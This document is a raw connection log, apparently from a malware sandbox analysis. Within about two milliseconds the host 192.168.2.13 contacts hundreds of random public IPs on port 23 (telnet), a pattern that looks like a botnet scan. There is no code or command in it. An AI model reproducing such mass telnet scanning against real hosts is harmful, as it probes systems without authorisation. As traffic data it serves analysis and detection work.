Jan 5, 2025 14:34:56.000279903 CET	29476	23	192.168.2.13	58.149.195.234
Jan 5, 2025 14:34:56.000281096 CET	29476	23	192.168.2.13	65.105.241.96
Jan 5, 2025 14:34:56.000281096 CET	29476	23	192.168.2.13	23.0.125.52
Jan 5, 2025 14:34:56.000289917 CET	29476	23	192.168.2.13	189.40.74.231
Jan 5, 2025 14:34:56.000292063 CET	29476	23	192.168.2.13	212.140.241.33
Jan 5, 2025 14:34:56.000292063 CET	29476	23	192.168.2.13	198.105.134.5
Jan 5, 2025 14:34:56.000292063 CET	29476	23	192.168.2.13	108.176.118.217
Jan 5, 2025 14:34:56.000294924 CET	29476	23	192.168.2.13	90.105.84.236
Jan 5, 2025 14:34:56.000296116 CET	29476	23	192.168.2.13	156.250.55.18
Jan 5, 2025 14:34:56.000296116 CET	29476	23	192.168.2.13	47.55.126.183
Jan 5, 2025 14:34:56.000299931 CET	29476	23	192.168.2.13	192.41.72.183
Jan 5, 2025 14:34:56.000296116 CET	29476	23	192.168.2.13	159.128.17.157
Jan 5, 2025 14:34:56.000296116 CET	29476	23	192.168.2.13	116.16.22.215
Jan 5, 2025 14:34:56.000303984 CET	29476	23	192.168.2.13	114.30.221.157
Jan 5, 2025 14:34:56.000303984 CET	29476	23	192.168.2.13	155.111.255.71
Jan 5, 2025 14:34:56.000303984 CET	29476	23	192.168.2.13	212.252.228.133
Jan 5, 2025 14:34:56.000303984 CET	29476	23	192.168.2.13	94.0.238.115
Jan 5, 2025 14:34:56.000313044 CET	29476	23	192.168.2.13	68.35.111.179
Jan 5, 2025 14:34:56.000313044 CET	29476	23	192.168.2.13	102.106.181.246
Jan 5, 2025 14:34:56.000313044 CET	29476	23	192.168.2.13	116.148.119.47
Jan 5, 2025 14:34:56.000313997 CET	29476	23	192.168.2.13	107.64.8.129
Jan 5, 2025 14:34:56.000313997 CET	29476	23	192.168.2.13	35.154.78.90
Jan 5, 2025 14:34:56.000325918 CET	29476	23	192.168.2.13	51.231.78.107
Jan 5, 2025 14:34:56.000334024 CET	29476	23	192.168.2.13	211.243.128.116
Jan 5, 2025 14:34:56.000336885 CET	29476	23	192.168.2.13	151.70.7.31
Jan 5, 2025 14:34:56.000344038 CET	29476	23	192.168.2.13	95.181.216.175
Jan 5, 2025 14:34:56.000344992 CET	29476	23	192.168.2.13	90.176.186.189
Jan 5, 2025 14:34:56.000355005 CET	29476	23	192.168.2.13	73.201.206.183
Jan 5, 2025 14:34:56.000363111 CET	29476	23	192.168.2.13	149.57.75.15
Jan 5, 2025 14:34:56.000374079 CET	29476	23	192.168.2.13	128.243.62.18
Jan 5, 2025 14:34:56.000374079 CET	29476	23	192.168.2.13	69.132.218.51
Jan 5, 2025 14:34:56.000374079 CET	29476	23	192.168.2.13	178.211.4.80
Jan 5, 2025 14:34:56.000396967 CET	29476	23	192.168.2.13	185.114.113.117
Jan 5, 2025 14:34:56.000396013 CET	29476	23	192.168.2.13	155.130.132.104
Jan 5, 2025 14:34:56.000396967 CET	29476	23	192.168.2.13	84.87.157.0
Jan 5, 2025 14:34:56.000411034 CET	29476	23	192.168.2.13	137.93.111.156
Jan 5, 2025 14:34:56.000416994 CET	29476	23	192.168.2.13	25.206.162.250
Jan 5, 2025 14:34:56.000422001 CET	29476	23	192.168.2.13	58.59.211.208
Jan 5, 2025 14:34:56.000431061 CET	29476	23	192.168.2.13	31.6.165.142
Jan 5, 2025 14:34:56.000436068 CET	29476	23	192.168.2.13	216.106.179.216
Jan 5, 2025 14:34:56.000447989 CET	29476	23	192.168.2.13	81.35.109.129
Jan 5, 2025 14:34:56.000447989 CET	29476	23	192.168.2.13	98.197.50.23
Jan 5, 2025 14:34:56.000448942 CET	29476	23	192.168.2.13	159.2.180.224
Jan 5, 2025 14:34:56.000461102 CET	29476	23	192.168.2.13	51.171.96.206
Jan 5, 2025 14:34:56.000468969 CET	29476	23	192.168.2.13	102.133.241.216
Jan 5, 2025 14:34:56.000468969 CET	29476	23	192.168.2.13	17.202.14.154
Jan 5, 2025 14:34:56.000473022 CET	29476	23	192.168.2.13	216.119.247.106
Jan 5, 2025 14:34:56.000488997 CET	29476	23	192.168.2.13	219.97.131.112
Jan 5, 2025 14:34:56.000489950 CET	29476	23	192.168.2.13	102.72.159.23
Jan 5, 2025 14:34:56.000495911 CET	29476	23	192.168.2.13	4.34.176.38
Jan 5, 2025 14:34:56.000497103 CET	29476	23	192.168.2.13	101.109.108.48
Jan 5, 2025 14:34:56.000509024 CET	29476	23	192.168.2.13	217.255.28.70
Jan 5, 2025 14:34:56.000510931 CET	29476	23	192.168.2.13	198.149.78.28
Jan 5, 2025 14:34:56.000519037 CET	29476	23	192.168.2.13	91.199.239.237
Jan 5, 2025 14:34:56.000533104 CET	29476	23	192.168.2.13	174.184.217.119
Jan 5, 2025 14:34:56.000538111 CET	29476	23	192.168.2.13	90.25.198.200
Jan 5, 2025 14:34:56.000544071 CET	29476	23	192.168.2.13	219.185.80.226
Jan 5, 2025 14:34:56.000547886 CET	29476	23	192.168.2.13	45.156.186.71
Jan 5, 2025 14:34:56.000550985 CET	29476	23	192.168.2.13	47.195.107.203
Jan 5, 2025 14:34:56.000561953 CET	29476	23	192.168.2.13	85.102.181.168
Jan 5, 2025 14:34:56.000565052 CET	29476	23	192.168.2.13	150.168.153.235
Jan 5, 2025 14:34:56.000567913 CET	29476	23	192.168.2.13	197.32.156.64
Jan 5, 2025 14:34:56.000588894 CET	29476	23	192.168.2.13	184.225.94.230
Jan 5, 2025 14:34:56.000588894 CET	29476	23	192.168.2.13	203.104.57.236
Jan 5, 2025 14:34:56.000590086 CET	29476	23	192.168.2.13	88.157.96.42
Jan 5, 2025 14:34:56.000603914 CET	29476	23	192.168.2.13	108.147.227.193
Jan 5, 2025 14:34:56.000608921 CET	29476	23	192.168.2.13	153.125.202.112
Jan 5, 2025 14:34:56.000610113 CET	29476	23	192.168.2.13	4.155.63.216
Jan 5, 2025 14:34:56.000612020 CET	29476	23	192.168.2.13	117.0.145.50
Jan 5, 2025 14:34:56.000629902 CET	29476	23	192.168.2.13	169.14.226.61
Jan 5, 2025 14:34:56.000634909 CET	29476	23	192.168.2.13	174.216.236.3
Jan 5, 2025 14:34:56.000638008 CET	29476	23	192.168.2.13	40.111.177.157
Jan 5, 2025 14:34:56.000652075 CET	29476	23	192.168.2.13	137.231.173.139
Jan 5, 2025 14:34:56.000655890 CET	29476	23	192.168.2.13	82.199.199.147
Jan 5, 2025 14:34:56.000664949 CET	29476	23	192.168.2.13	154.20.233.208
Jan 5, 2025 14:34:56.000669956 CET	29476	23	192.168.2.13	18.139.64.120
Jan 5, 2025 14:34:56.000670910 CET	29476	23	192.168.2.13	49.39.188.157
Jan 5, 2025 14:34:56.000675917 CET	29476	23	192.168.2.13	166.121.233.181
Jan 5, 2025 14:34:56.000688076 CET	29476	23	192.168.2.13	107.233.116.35
Jan 5, 2025 14:34:56.000690937 CET	29476	23	192.168.2.13	79.68.152.69
Jan 5, 2025 14:34:56.000694990 CET	29476	23	192.168.2.13	62.6.32.57
Jan 5, 2025 14:34:56.000711918 CET	29476	23	192.168.2.13	13.10.175.147
Jan 5, 2025 14:34:56.000715971 CET	29476	23	192.168.2.13	105.61.12.28
Jan 5, 2025 14:34:56.000720024 CET	29476	23	192.168.2.13	4.174.70.92
Jan 5, 2025 14:34:56.000722885 CET	29476	23	192.168.2.13	89.117.79.244
Jan 5, 2025 14:34:56.000731945 CET	29476	23	192.168.2.13	137.84.38.175
Jan 5, 2025 14:34:56.000737906 CET	29476	23	192.168.2.13	212.96.12.6
Jan 5, 2025 14:34:56.000751972 CET	29476	23	192.168.2.13	25.68.98.145
Jan 5, 2025 14:34:56.000751972 CET	29476	23	192.168.2.13	35.180.197.146
Jan 5, 2025 14:34:56.000755072 CET	29476	23	192.168.2.13	198.162.183.53
Jan 5, 2025 14:34:56.000766993 CET	29476	23	192.168.2.13	39.221.32.253
Jan 5, 2025 14:34:56.000771046 CET	29476	23	192.168.2.13	223.126.216.84
Jan 5, 2025 14:34:56.000777960 CET	29476	23	192.168.2.13	125.22.189.111
Jan 5, 2025 14:34:56.000777960 CET	29476	23	192.168.2.13	91.66.186.174
Jan 5, 2025 14:34:56.000788927 CET	29476	23	192.168.2.13	199.37.227.244
Jan 5, 2025 14:34:56.000801086 CET	29476	23	192.168.2.13	221.152.136.158
Jan 5, 2025 14:34:56.000808001 CET	29476	23	192.168.2.13	145.134.215.81
Jan 5, 2025 14:34:56.000808001 CET	29476	23	192.168.2.13	203.8.254.27
Jan 5, 2025 14:34:56.000809908 CET	29476	23	192.168.2.13	195.251.78.197
Jan 5, 2025 14:34:56.000809908 CET	29476	23	192.168.2.13	175.255.69.146
Jan 5, 2025 14:34:56.000811100 CET	29476	23	192.168.2.13	18.202.68.51
Jan 5, 2025 14:34:56.000829935 CET	29476	23	192.168.2.13	177.175.113.66
Jan 5, 2025 14:34:56.000832081 CET	29476	23	192.168.2.13	12.125.150.93
Jan 5, 2025 14:34:56.000832081 CET	29476	23	192.168.2.13	126.128.37.158
Jan 5, 2025 14:34:56.000838995 CET	29476	23	192.168.2.13	176.101.1.201
Jan 5, 2025 14:34:56.000838995 CET	29476	23	192.168.2.13	45.74.149.15
Jan 5, 2025 14:34:56.000840902 CET	29476	23	192.168.2.13	183.55.154.214
Jan 5, 2025 14:34:56.000843048 CET	29476	23	192.168.2.13	172.138.218.217
Jan 5, 2025 14:34:56.000843048 CET	29476	23	192.168.2.13	122.92.71.98
Jan 5, 2025 14:34:56.000847101 CET	29476	23	192.168.2.13	85.96.67.200
Jan 5, 2025 14:34:56.000847101 CET	29476	23	192.168.2.13	107.43.89.219
Jan 5, 2025 14:34:56.000859976 CET	29476	23	192.168.2.13	223.208.206.158
Jan 5, 2025 14:34:56.000864983 CET	29476	23	192.168.2.13	67.164.95.217
Jan 5, 2025 14:34:56.000864983 CET	29476	23	192.168.2.13	24.214.62.219
Jan 5, 2025 14:34:56.000865936 CET	29476	23	192.168.2.13	199.181.187.74
Jan 5, 2025 14:34:56.000865936 CET	29476	23	192.168.2.13	110.66.248.160
Jan 5, 2025 14:34:56.000880003 CET	29476	23	192.168.2.13	131.156.22.75
Jan 5, 2025 14:34:56.000880957 CET	29476	23	192.168.2.13	40.127.219.6
Jan 5, 2025 14:34:56.000885963 CET	29476	23	192.168.2.13	188.128.147.225
Jan 5, 2025 14:34:56.000899076 CET	29476	23	192.168.2.13	113.44.94.8
Jan 5, 2025 14:34:56.000905037 CET	29476	23	192.168.2.13	202.227.101.60
Jan 5, 2025 14:34:56.000916004 CET	29476	23	192.168.2.13	35.49.46.238
Jan 5, 2025 14:34:56.000917912 CET	29476	23	192.168.2.13	192.100.212.40
Jan 5, 2025 14:34:56.000926971 CET	29476	23	192.168.2.13	212.190.242.109
Jan 5, 2025 14:34:56.000932932 CET	29476	23	192.168.2.13	9.107.229.44
Jan 5, 2025 14:34:56.000950098 CET	29476	23	192.168.2.13	172.116.136.107
Jan 5, 2025 14:34:56.000951052 CET	29476	23	192.168.2.13	78.148.40.48
Jan 5, 2025 14:34:56.000957012 CET	29476	23	192.168.2.13	188.51.38.251
Jan 5, 2025 14:34:56.000957012 CET	29476	23	192.168.2.13	67.134.239.250
Jan 5, 2025 14:34:56.000971079 CET	29476	23	192.168.2.13	131.62.251.164
Jan 5, 2025 14:34:56.000974894 CET	29476	23	192.168.2.13	91.124.108.125
Jan 5, 2025 14:34:56.000977993 CET	29476	23	192.168.2.13	84.194.4.185
Jan 5, 2025 14:34:56.000984907 CET	29476	23	192.168.2.13	69.139.167.38
Jan 5, 2025 14:34:56.000994921 CET	29476	23	192.168.2.13	116.23.176.202
Jan 5, 2025 14:34:56.001008034 CET	29476	23	192.168.2.13	40.1.91.205
Jan 5, 2025 14:34:56.001008034 CET	29476	23	192.168.2.13	98.208.36.178
Jan 5, 2025 14:34:56.001012087 CET	29476	23	192.168.2.13	78.98.253.109
Jan 5, 2025 14:34:56.001013041 CET	29476	23	192.168.2.13	151.187.39.102
Jan 5, 2025 14:34:56.001028061 CET	29476	23	192.168.2.13	17.248.113.75
Jan 5, 2025 14:34:56.001032114 CET	29476	23	192.168.2.13	76.192.219.130
Jan 5, 2025 14:34:56.001049042 CET	29476	23	192.168.2.13	65.76.15.56
Jan 5, 2025 14:34:56.001049042 CET	29476	23	192.168.2.13	211.162.228.209
Jan 5, 2025 14:34:56.001049995 CET	29476	23	192.168.2.13	95.36.5.141
Jan 5, 2025 14:34:56.001060963 CET	29476	23	192.168.2.13	13.252.73.181
Jan 5, 2025 14:34:56.001063108 CET	29476	23	192.168.2.13	47.2.242.119
Jan 5, 2025 14:34:56.001069069 CET	29476	23	192.168.2.13	34.130.167.161
Jan 5, 2025 14:34:56.001075983 CET	29476	23	192.168.2.13	111.210.219.135
Jan 5, 2025 14:34:56.001085997 CET	29476	23	192.168.2.13	187.200.144.68
Jan 5, 2025 14:34:56.001099110 CET	29476	23	192.168.2.13	183.127.49.39
Jan 5, 2025 14:34:56.001099110 CET	29476	23	192.168.2.13	17.71.215.185
Jan 5, 2025 14:34:56.001101017 CET	29476	23	192.168.2.13	74.60.141.53
Jan 5, 2025 14:34:56.001113892 CET	29476	23	192.168.2.13	180.37.5.84
Jan 5, 2025 14:34:56.001120090 CET	29476	23	192.168.2.13	219.50.231.74
Jan 5, 2025 14:34:56.001135111 CET	29476	23	192.168.2.13	43.192.9.240
Jan 5, 2025 14:34:56.001135111 CET	29476	23	192.168.2.13	198.139.244.37
Jan 5, 2025 14:34:56.001137018 CET	29476	23	192.168.2.13	61.176.200.146
Jan 5, 2025 14:34:56.001140118 CET	29476	23	192.168.2.13	17.96.169.66
Jan 5, 2025 14:34:56.001143932 CET	29476	23	192.168.2.13	149.75.49.47
Jan 5, 2025 14:34:56.001154900 CET	29476	23	192.168.2.13	47.247.241.8
Jan 5, 2025 14:34:56.001162052 CET	29476	23	192.168.2.13	102.228.127.59
Jan 5, 2025 14:34:56.001163960 CET	29476	23	192.168.2.13	208.118.115.3
Jan 5, 2025 14:34:56.001166105 CET	29476	23	192.168.2.13	139.184.16.240
Jan 5, 2025 14:34:56.001168966 CET	29476	23	192.168.2.13	97.100.131.218
Jan 5, 2025 14:34:56.001172066 CET	29476	23	192.168.2.13	111.8.167.119
Jan 5, 2025 14:34:56.001173973 CET	29476	23	192.168.2.13	69.243.89.51
Jan 5, 2025 14:34:56.001183987 CET	29476	23	192.168.2.13	146.187.162.230
Jan 5, 2025 14:34:56.001189947 CET	29476	23	192.168.2.13	63.127.148.165
Jan 5, 2025 14:34:56.001190901 CET	29476	23	192.168.2.13	136.180.18.149
Jan 5, 2025 14:34:56.001199007 CET	29476	23	192.168.2.13	43.0.50.253
Jan 5, 2025 14:34:56.001204014 CET	29476	23	192.168.2.13	101.92.237.100
Jan 5, 2025 14:34:56.001213074 CET	29476	23	192.168.2.13	133.240.55.164
Jan 5, 2025 14:34:56.001213074 CET	29476	23	192.168.2.13	130.142.221.22
Jan 5, 2025 14:34:56.001236916 CET	29476	23	192.168.2.13	217.33.170.27
Jan 5, 2025 14:34:56.001238108 CET	29476	23	192.168.2.13	48.47.74.133
Jan 5, 2025 14:34:56.001240015 CET	29476	23	192.168.2.13	123.30.23.190
Jan 5, 2025 14:34:56.001240969 CET	29476	23	192.168.2.13	166.92.224.221
Jan 5, 2025 14:34:56.001249075 CET	29476	23	192.168.2.13	131.197.63.134
Jan 5, 2025 14:34:56.001249075 CET	29476	23	192.168.2.13	23.40.190.110
Jan 5, 2025 14:34:56.001260042 CET	29476	23	192.168.2.13	146.40.247.117
Jan 5, 2025 14:34:56.001260996 CET	29476	23	192.168.2.13	166.57.127.98
Jan 5, 2025 14:34:56.001260996 CET	29476	23	192.168.2.13	2.17.210.83
Jan 5, 2025 14:34:56.001267910 CET	29476	23	192.168.2.13	14.62.185.199
Jan 5, 2025 14:34:56.001277924 CET	29476	23	192.168.2.13	50.34.83.17
Jan 5, 2025 14:34:56.001277924 CET	29476	23	192.168.2.13	130.212.176.26
Jan 5, 2025 14:34:56.001280069 CET	29476	23	192.168.2.13	177.146.74.37
Jan 5, 2025 14:34:56.001280069 CET	29476	23	192.168.2.13	80.128.208.44
Jan 5, 2025 14:34:56.001298904 CET	29476	23	192.168.2.13	148.204.133.197
Jan 5, 2025 14:34:56.001302958 CET	29476	23	192.168.2.13	184.191.106.194
Jan 5, 2025 14:34:56.001305103 CET	29476	23	192.168.2.13	78.143.145.188
Jan 5, 2025 14:34:56.001308918 CET	29476	23	192.168.2.13	110.217.31.102
Jan 5, 2025 14:34:56.001316071 CET	29476	23	192.168.2.13	80.37.146.217
Jan 5, 2025 14:34:56.001321077 CET	29476	23	192.168.2.13	111.69.181.73
Jan 5, 2025 14:34:56.001332045 CET	29476	23	192.168.2.13	47.15.202.161
Jan 5, 2025 14:34:56.001332998 CET	29476	23	192.168.2.13	110.216.66.90
Jan 5, 2025 14:34:56.001343012 CET	29476	23	192.168.2.13	41.115.172.156
Jan 5, 2025 14:34:56.001351118 CET	29476	23	192.168.2.13	220.121.62.94
Jan 5, 2025 14:34:56.001352072 CET	29476	23	192.168.2.13	34.82.72.123
Jan 5, 2025 14:34:56.001357079 CET	29476	23	192.168.2.13	181.252.135.158
Jan 5, 2025 14:34:56.001358032 CET	29476	23	192.168.2.13	190.157.51.49
Jan 5, 2025 14:34:56.001368999 CET	29476	23	192.168.2.13	138.151.137.163
Jan 5, 2025 14:34:56.001373053 CET	29476	23	192.168.2.13	223.48.235.229
Jan 5, 2025 14:34:56.001379013 CET	29476	23	192.168.2.13	42.139.97.209
Jan 5, 2025 14:34:56.001394033 CET	29476	23	192.168.2.13	49.195.0.64
Jan 5, 2025 14:34:56.001399994 CET	29476	23	192.168.2.13	205.52.188.34
Jan 5, 2025 14:34:56.001401901 CET	29476	23	192.168.2.13	133.215.31.136
Jan 5, 2025 14:34:56.001409054 CET	29476	23	192.168.2.13	139.18.225.208
Jan 5, 2025 14:34:56.001409054 CET	29476	23	192.168.2.13	177.209.20.104
Jan 5, 2025 14:34:56.001427889 CET	29476	23	192.168.2.13	19.101.26.123
Jan 5, 2025 14:34:56.001429081 CET	29476	23	192.168.2.13	67.141.226.160
Jan 5, 2025 14:34:56.001427889 CET	29476	23	192.168.2.13	130.6.123.208
Jan 5, 2025 14:34:56.001430988 CET	29476	23	192.168.2.13	87.156.165.119
Jan 5, 2025 14:34:56.001430988 CET	29476	23	192.168.2.13	44.126.155.30
Jan 5, 2025 14:34:56.001442909 CET	29476	23	192.168.2.13	132.249.239.135
Jan 5, 2025 14:34:56.001452923 CET	29476	23	192.168.2.13	47.135.241.222
Jan 5, 2025 14:34:56.001461029 CET	29476	23	192.168.2.13	160.224.92.221
Jan 5, 2025 14:34:56.001461983 CET	29476	23	192.168.2.13	60.111.3.96
Jan 5, 2025 14:34:56.001471043 CET	29476	23	192.168.2.13	19.24.131.103
Jan 5, 2025 14:34:56.001482964 CET	29476	23	192.168.2.13	126.151.50.70
Jan 5, 2025 14:34:56.001521111 CET	29476	23	192.168.2.13	206.192.122.64
Jan 5, 2025 14:34:56.001522064 CET	29476	23	192.168.2.13	53.223.241.141
Jan 5, 2025 14:34:56.001522064 CET	29476	23	192.168.2.13	52.91.66.198
Jan 5, 2025 14:34:56.001523018 CET	29476	23	192.168.2.13	41.120.148.12
Jan 5, 2025 14:34:56.001522064 CET	29476	23	192.168.2.13	202.11.220.232
Jan 5, 2025 14:34:56.001523018 CET	29476	23	192.168.2.13	158.169.226.111
Jan 5, 2025 14:34:56.001524925 CET	29476	23	192.168.2.13	217.124.69.98
Jan 5, 2025 14:34:56.001524925 CET	29476	23	192.168.2.13	111.246.97.163
Jan 5, 2025 14:34:56.001526117 CET	29476	23	192.168.2.13	156.209.190.62
Jan 5, 2025 14:34:56.001524925 CET	29476	23	192.168.2.13	197.82.107.166
Jan 5, 2025 14:34:56.001524925 CET	29476	23	192.168.2.13	78.197.124.27
Jan 5, 2025 14:34:56.001533031 CET	29476	23	192.168.2.13	88.246.17.128
Jan 5, 2025 14:34:56.001538992 CET	29476	23	192.168.2.13	201.69.39.6
Jan 5, 2025 14:34:56.001538992 CET	29476	23	192.168.2.13	107.167.51.69
Jan 5, 2025 14:34:56.001542091 CET	29476	23	192.168.2.13	175.155.39.158
Jan 5, 2025 14:34:56.001542091 CET	29476	23	192.168.2.13	186.70.169.20
Jan 5, 2025 14:34:56.001542091 CET	29476	23	192.168.2.13	4.143.251.88
Jan 5, 2025 14:34:56.001543045 CET	29476	23	192.168.2.13	123.117.123.228
Jan 5, 2025 14:34:56.001542091 CET	29476	23	192.168.2.13	58.99.253.18
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	98.241.125.186
Jan 5, 2025 14:34:56.001542091 CET	29476	23	192.168.2.13	73.90.99.134
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	144.102.24.181
Jan 5, 2025 14:34:56.001543045 CET	29476	23	192.168.2.13	105.188.129.39
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	182.82.47.134
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	78.104.26.41
Jan 5, 2025 14:34:56.001548052 CET	29476	23	192.168.2.13	9.160.88.104
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	161.12.68.139
Jan 5, 2025 14:34:56.001549006 CET	29476	23	192.168.2.13	113.228.6.206
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	205.234.146.165
Jan 5, 2025 14:34:56.001549006 CET	29476	23	192.168.2.13	71.142.37.221
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	190.21.128.3
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	2.114.247.120
Jan 5, 2025 14:34:56.001543999 CET	29476	23	192.168.2.13	188.178.88.223
Jan 5, 2025 14:34:56.001563072 CET	29476	23	192.168.2.13	140.174.83.179
Jan 5, 2025 14:34:56.001565933 CET	29476	23	192.168.2.13	37.212.81.179
Jan 5, 2025 14:34:56.001565933 CET	29476	23	192.168.2.13	217.175.231.6
Jan 5, 2025 14:34:56.001569033 CET	29476	23	192.168.2.13	5.79.116.83
Jan 5, 2025 14:34:56.001571894 CET	29476	23	192.168.2.13	135.93.18.97
Jan 5, 2025 14:34:56.001573086 CET	29476	23	192.168.2.13	216.154.224.254
Jan 5, 2025 14:34:56.001588106 CET	29476	23	192.168.2.13	107.138.161.123
Jan 5, 2025 14:34:56.001594067 CET	29476	23	192.168.2.13	211.41.128.87
Jan 5, 2025 14:34:56.001597881 CET	29476	23	192.168.2.13	190.25.48.206
Jan 5, 2025 14:34:56.001606941 CET	29476	23	192.168.2.13	88.9.13.65
Jan 5, 2025 14:34:56.001609087 CET	29476	23	192.168.2.13	73.72.3.0
Jan 5, 2025 14:34:56.001615047 CET	29476	23	192.168.2.13	164.194.33.179
Jan 5, 2025 14:34:56.001621008 CET	29476	23	192.168.2.13	91.238.146.86
Jan 5, 2025 14:34:56.001626015 CET	29476	23	192.168.2.13	212.47.79.11
Jan 5, 2025 14:34:56.001632929 CET	29476	23	192.168.2.13	116.224.175.74
Jan 5, 2025 14:34:56.001640081 CET	29476	23	192.168.2.13	194.224.162.171
Jan 5, 2025 14:34:56.001646042 CET	29476	23	192.168.2.13	93.232.47.152
Jan 5, 2025 14:34:56.001658916 CET	29476	23	192.168.2.13	90.141.157.160
Jan 5, 2025 14:34:56.001662970 CET	29476	23	192.168.2.13	99.79.194.222
Jan 5, 2025 14:34:56.001665115 CET	29476	23	192.168.2.13	94.238.212.186
Jan 5, 2025 14:34:56.001665115 CET	29476	23	192.168.2.13	168.81.6.149
Jan 5, 2025 14:34:56.001672983 CET	29476	23	192.168.2.13	23.86.198.4
Jan 5, 2025 14:34:56.001684904 CET	29476	23	192.168.2.13	104.185.46.52
Jan 5, 2025 14:34:56.001691103 CET	29476	23	192.168.2.13	130.241.110.101
Jan 5, 2025 14:34:56.001696110 CET	29476	23	192.168.2.13	90.203.199.166
Jan 5, 2025 14:34:56.001697063 CET	29476	23	192.168.2.13	182.105.33.148
Jan 5, 2025 14:34:56.001704931 CET	29476	23	192.168.2.13	27.57.231.245
Jan 5, 2025 14:34:56.001719952 CET	29476	23	192.168.2.13	71.184.246.211
Jan 5, 2025 14:34:56.001719952 CET	29476	23	192.168.2.13	216.142.24.103
Jan 5, 2025 14:34:56.001734018 CET	29476	23	192.168.2.13	41.12.124.201
Jan 5, 2025 14:34:56.001737118 CET	29476	23	192.168.2.13	182.166.13.3
Jan 5, 2025 14:34:56.001739025 CET	29476	23	192.168.2.13	34.54.84.209
Jan 5, 2025 14:34:56.001743078 CET	29476	23	192.168.2.13	162.31.81.247
Jan 5, 2025 14:34:56.001744986 CET	29476	23	192.168.2.13	139.70.59.243
Jan 5, 2025 14:34:56.001746893 CET	29476	23	192.168.2.13	59.86.30.58
Jan 5, 2025 14:34:56.001751900 CET	29476	23	192.168.2.13	83.100.93.39
Jan 5, 2025 14:34:56.001753092 CET	29476	23	192.168.2.13	108.189.195.153
Jan 5, 2025 14:34:56.001754045 CET	29476	23	192.168.2.13	32.34.94.62
Jan 5, 2025 14:34:56.001756907 CET	29476	23	192.168.2.13	57.165.48.197
Jan 5, 2025 14:34:56.001758099 CET	29476	23	192.168.2.13	145.155.113.38
Jan 5, 2025 14:34:56.001758099 CET	29476	23	192.168.2.13	135.164.95.234
Jan 5, 2025 14:34:56.001758099 CET	29476	23	192.168.2.13	20.217.75.186
Jan 5, 2025 14:34:56.001773119 CET	29476	23	192.168.2.13	90.83.229.166
Jan 5, 2025 14:34:56.001780033 CET	29476	23	192.168.2.13	87.90.145.49
Jan 5, 2025 14:34:56.001784086 CET	29476	23	192.168.2.13	132.77.251.154
Jan 5, 2025 14:34:56.001784086 CET	29476	23	192.168.2.13	34.251.231.214
Jan 5, 2025 14:34:56.001796007 CET	29476	23	192.168.2.13	134.197.211.61
Jan 5, 2025 14:34:56.001801968 CET	29476	23	192.168.2.13	211.252.124.32
Jan 5, 2025 14:34:56.001808882 CET	29476	23	192.168.2.13	69.155.67.148
Jan 5, 2025 14:34:56.001826048 CET	29476	23	192.168.2.13	183.234.220.107
Jan 5, 2025 14:34:56.001827002 CET	29476	23	192.168.2.13	198.71.167.40
Jan 5, 2025 14:34:56.001835108 CET	29476	23	192.168.2.13	183.132.139.0
Jan 5, 2025 14:34:56.001838923 CET	29476	23	192.168.2.13	4.94.108.1
Jan 5, 2025 14:34:56.001843929 CET	29476	23	192.168.2.13	218.125.152.163
Jan 5, 2025 14:34:56.001843929 CET	29476	23	192.168.2.13	88.17.56.238
Jan 5, 2025 14:34:56.001852989 CET	29476	23	192.168.2.13	139.32.105.38
Jan 5, 2025 14:34:56.001866102 CET	29476	23	192.168.2.13	102.59.201.108
Jan 5, 2025 14:34:56.001867056 CET	29476	23	192.168.2.13	1.4.16.161
Jan 5, 2025 14:34:56.001872063 CET	29476	23	192.168.2.13	146.228.193.222
Jan 5, 2025 14:34:56.001883030 CET	29476	23	192.168.2.13	46.82.60.232
Jan 5, 2025 14:34:56.001887083 CET	29476	23	192.168.2.13	182.123.6.167
Jan 5, 2025 14:34:56.001887083 CET	29476	23	192.168.2.13	65.224.115.155
Jan 5, 2025 14:34:56.001893044 CET	29476	23	192.168.2.13	165.167.189.112
Jan 5, 2025 14:34:56.001902103 CET	29476	23	192.168.2.13	51.240.1.170
Jan 5, 2025 14:34:56.001909971 CET	29476	23	192.168.2.13	184.123.83.2
Jan 5, 2025 14:34:56.001914024 CET	29476	23	192.168.2.13	48.115.117.119
Jan 5, 2025 14:34:56.001919031 CET	29476	23	192.168.2.13	74.196.92.200
Jan 5, 2025 14:34:56.001931906 CET	29476	23	192.168.2.13	118.129.173.98
Jan 5, 2025 14:34:56.001940012 CET	29476	23	192.168.2.13	197.164.234.153
Jan 5, 2025 14:34:56.001940012 CET	29476	23	192.168.2.13	84.141.170.76
Jan 5, 2025 14:34:56.001948118 CET	29476	23	192.168.2.13	211.176.150.178
Jan 5, 2025 14:34:56.001966953 CET	29476	23	192.168.2.13	133.173.40.111
Jan 5, 2025 14:34:56.001966953 CET	29476	23	192.168.2.13	76.87.217.136
Jan 5, 2025 14:34:56.001970053 CET	29476	23	192.168.2.13	115.4.42.229
Jan 5, 2025 14:34:56.001970053 CET	29476	23	192.168.2.13	211.21.228.238
Jan 5, 2025 14:34:56.001974106 CET	29476	23	192.168.2.13	79.227.128.169
Jan 5, 2025 14:34:56.001979113 CET	29476	23	192.168.2.13	98.135.114.10
Jan 5, 2025 14:34:56.001979113 CET	29476	23	192.168.2.13	188.54.225.114
Jan 5, 2025 14:34:56.001990080 CET	29476	23	192.168.2.13	64.221.140.44
Jan 5, 2025 14:34:56.001990080 CET	29476	23	192.168.2.13	35.64.254.237
Jan 5, 2025 14:34:56.001991987 CET	29476	23	192.168.2.13	61.132.248.174
Jan 5, 2025 14:34:56.002008915 CET	29476	23	192.168.2.13	111.93.43.137
Jan 5, 2025 14:34:56.002013922 CET	29476	23	192.168.2.13	1.167.9.211
Jan 5, 2025 14:34:56.002016068 CET	29476	23	192.168.2.13	25.224.4.36
Jan 5, 2025 14:34:56.002027988 CET	29476	23	192.168.2.13	19.188.160.229
Jan 5, 2025 14:34:56.002027988 CET	29476	23	192.168.2.13	37.144.190.170
Jan 5, 2025 14:34:56.002042055 CET	29476	23	192.168.2.13	166.253.98.37
Jan 5, 2025 14:34:56.002043009 CET	29476	23	192.168.2.13	186.252.184.71
Jan 5, 2025 14:34:56.002051115 CET	29476	23	192.168.2.13	9.70.22.24
